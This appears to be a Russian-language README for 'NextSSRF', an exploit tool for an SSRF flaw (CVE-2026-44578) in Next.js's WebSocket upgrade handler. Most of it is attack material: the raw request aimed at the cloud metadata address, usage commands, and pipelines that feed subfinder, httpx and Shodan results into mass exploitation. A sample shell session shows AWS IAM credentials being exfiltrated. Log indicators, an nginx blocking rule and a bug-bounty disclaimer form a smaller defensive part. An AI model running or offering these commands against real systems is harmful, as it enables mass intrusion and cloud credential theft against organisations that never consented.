
CVE-2026-44578 — сканер и эксплойт для SSRF в обработчике обновления WebSocket в Next.js. Обнаруживает уязвимые версии, извлекает метаданные облака и эксфильтрирует учетные данные IAM через интерактивную оболочку.
╔══════════════════════════════════════════════════════════════╗
║ NextSSRF — CVE-2026-44578 Scanner & Exploit ║
║ Next.js WebSocket Upgrade Handler SSRF ║
║ Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4 ║
║ @mitsec / ynsmroztas — Bug Bounty Tooling ║
╚══════════════════════════════════════════════════════════════╝
CVE-2026-44578 — Server-Side Request Forgery via Next.js WebSocket Upgrade Handler
Обзор · Установка · Использование · Конвейер · Shodan · Интерактивная оболочка · Отказ от ответственности
11 мая 2026 года Vercel исправил CVE-2026-44578 (CVSS 8.6): неаутентифицированная SSRF в обработчике обновления WebSocket в Next.js, затрагивающая все самостоятельно размещённые развёртывания, начиная с версии 13.4.13.
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1 ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
// в http:// вызывает досрочный выход из normalizeRepeatedSlashes, устанавливая statusCode: 308 и finished: true. Уязвимый обработчик обновления игнорирует оба флага и вызывает proxyRequest, когда parsedUrl.protocol истинен — проксируя запрос к управляемому злоумышленником хосту на порт 80.
// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
| Продукт | Уязвимые версии | Исправление |
|---|---|---|
| Next.js | 13.4.13 – 15.5.15 | 15.5.16 |
| Next.js | 16.0.0 – 16.2.4 | 16.2.5 |
| Vercel-hosted | ✅ Не затронуто | Н/Д |
Upgrade: websocket с кодом 400
Учётные данные AWS IMDSv1, утекшие через CVE-2026-44578 — интерактивная оболочка эксплойта
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com
Нулевые зависимости — только стандартная библиотека Python. Требуется Python 3.10+.
python3 nextssrf.py -t https://target.com
# Только метаданные AWS
python3 nextssrf.py -t https://target.com --cloud aws
# Пользовательская внутренняя цель
python3 nextssrf.py -t https://target.com \
--ssrf-host http://internal-api --path /admin
# Глубокое сканирование (+ внутренние сервисы)
python3 nextssrf.py -t https://target.com --cloud aws --deep
# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl
# Ввод из файла
python3 nextssrf.py -f targets.txt --threads 15 -o results.json
# Принудительное сканирование (даже если версия неизвестна)
python3 nextssrf.py -t https://target.com --force
| Код | Значение |
|---|---|
0 | Не уязвим / чист |
1 | Уязвим (без эксплойта) |
2 | SSRF подтверждена |
Продвинутая оболочка эксплойта с автоматическим обнаружением облака и извлечением учётных данных IAM:
python3 nextssrf.py -t https://target.com
╔══════════════════════════════════════════════════╗
║ NextSSRF v2 — Interactive Exploit Shell ║
║ Target : ec2-x-x-x-x.compute.amazonaws.com ║
║ CVE : CVE-2026-44578 | Status: Connected ║
╚══════════════════════════════════════════════════╝
nextssrf(ec2-x...)> cloud
[>] Detecting cloud provider...
✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
→ Run 'aws' for full credential extraction
nextssrf(ec2-x...)> aws
[1/3] Instance Information
[200] Hostname : ip-172-31-47-134.ec2.internal
[200] AZ : us-east-1d
[200] Account ID : {"AccountId": "370741706736"}
[2/3] IAM Role Discovery
✓ IAM Role found: my-ec2-role
[3/3] Credential Extraction
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
🎯 AWS CREDENTIALS EXFILTRATED!
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
SecretKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Expiration : 2026-05-14T22:32:22Z
# Обнаружение облака + автоматический запуск полной цепочки эксплойта
python3 nextssrf.py -t https://target.com --auto
# Полный пайплайн разведки → эксплойта
subfinder -d target.com \
| httpx -silent -server \
| grep -i "next" \
| python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl
# Массовое сканирование Shodan → интерактивный режим на подтверждённых хостах
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
| python3 nextssrf.py --pipe --cloud aws -o hits.jsonl
# Проверка конкретного диапазона версий
cat hosts.txt \
| python3 nextssrf.py --pipe --force --cloud aws \
| jq '.[] | select(.ssrf_hits | length > 0)'
Признаки эксплуатации в логах:
# Журналы процесса Next.js
Failed to proxy http:/ ← одиночный слеш = отпечаток нормализации
# Журналы доступа (URI в абсолютной форме + заголовок Upgrade)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
return 400;
}
Только для авторизованного тестирования безопасности и исследований в рамках программ поощрения за обнаружение ошибок. Используйте только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Авторы не несут ответственности за неправильное или несанкционированное использование. Всегда соблюдайте правила вашей программы bug bounty.
Сделано с ❤️ от @mitsec · ynsmroztas.github.io
Лучший хакер @ Intigriti · 100+ HOF · 2430+ уязвимостей · 1100+ критических P1
| Команда | Описание |
|---|
cloud | Автоматическое определение облака (AWS/Azure/GCP/DO/OCI) |
aws | Полная цепочка учётных данных AWS IAM |
azure | Токен управляемого удостоверения Azure |
scan | Обнаружение облака + автоматический эксплойт |
url <http://> | Пользовательский SSRF-запрос |
get <N> | Цель AWS IMDS по индексу |
list | Показать все конечные точки IMDS |
history | История запросов |
save | Экспорт сессии в JSON |
quit | Выход |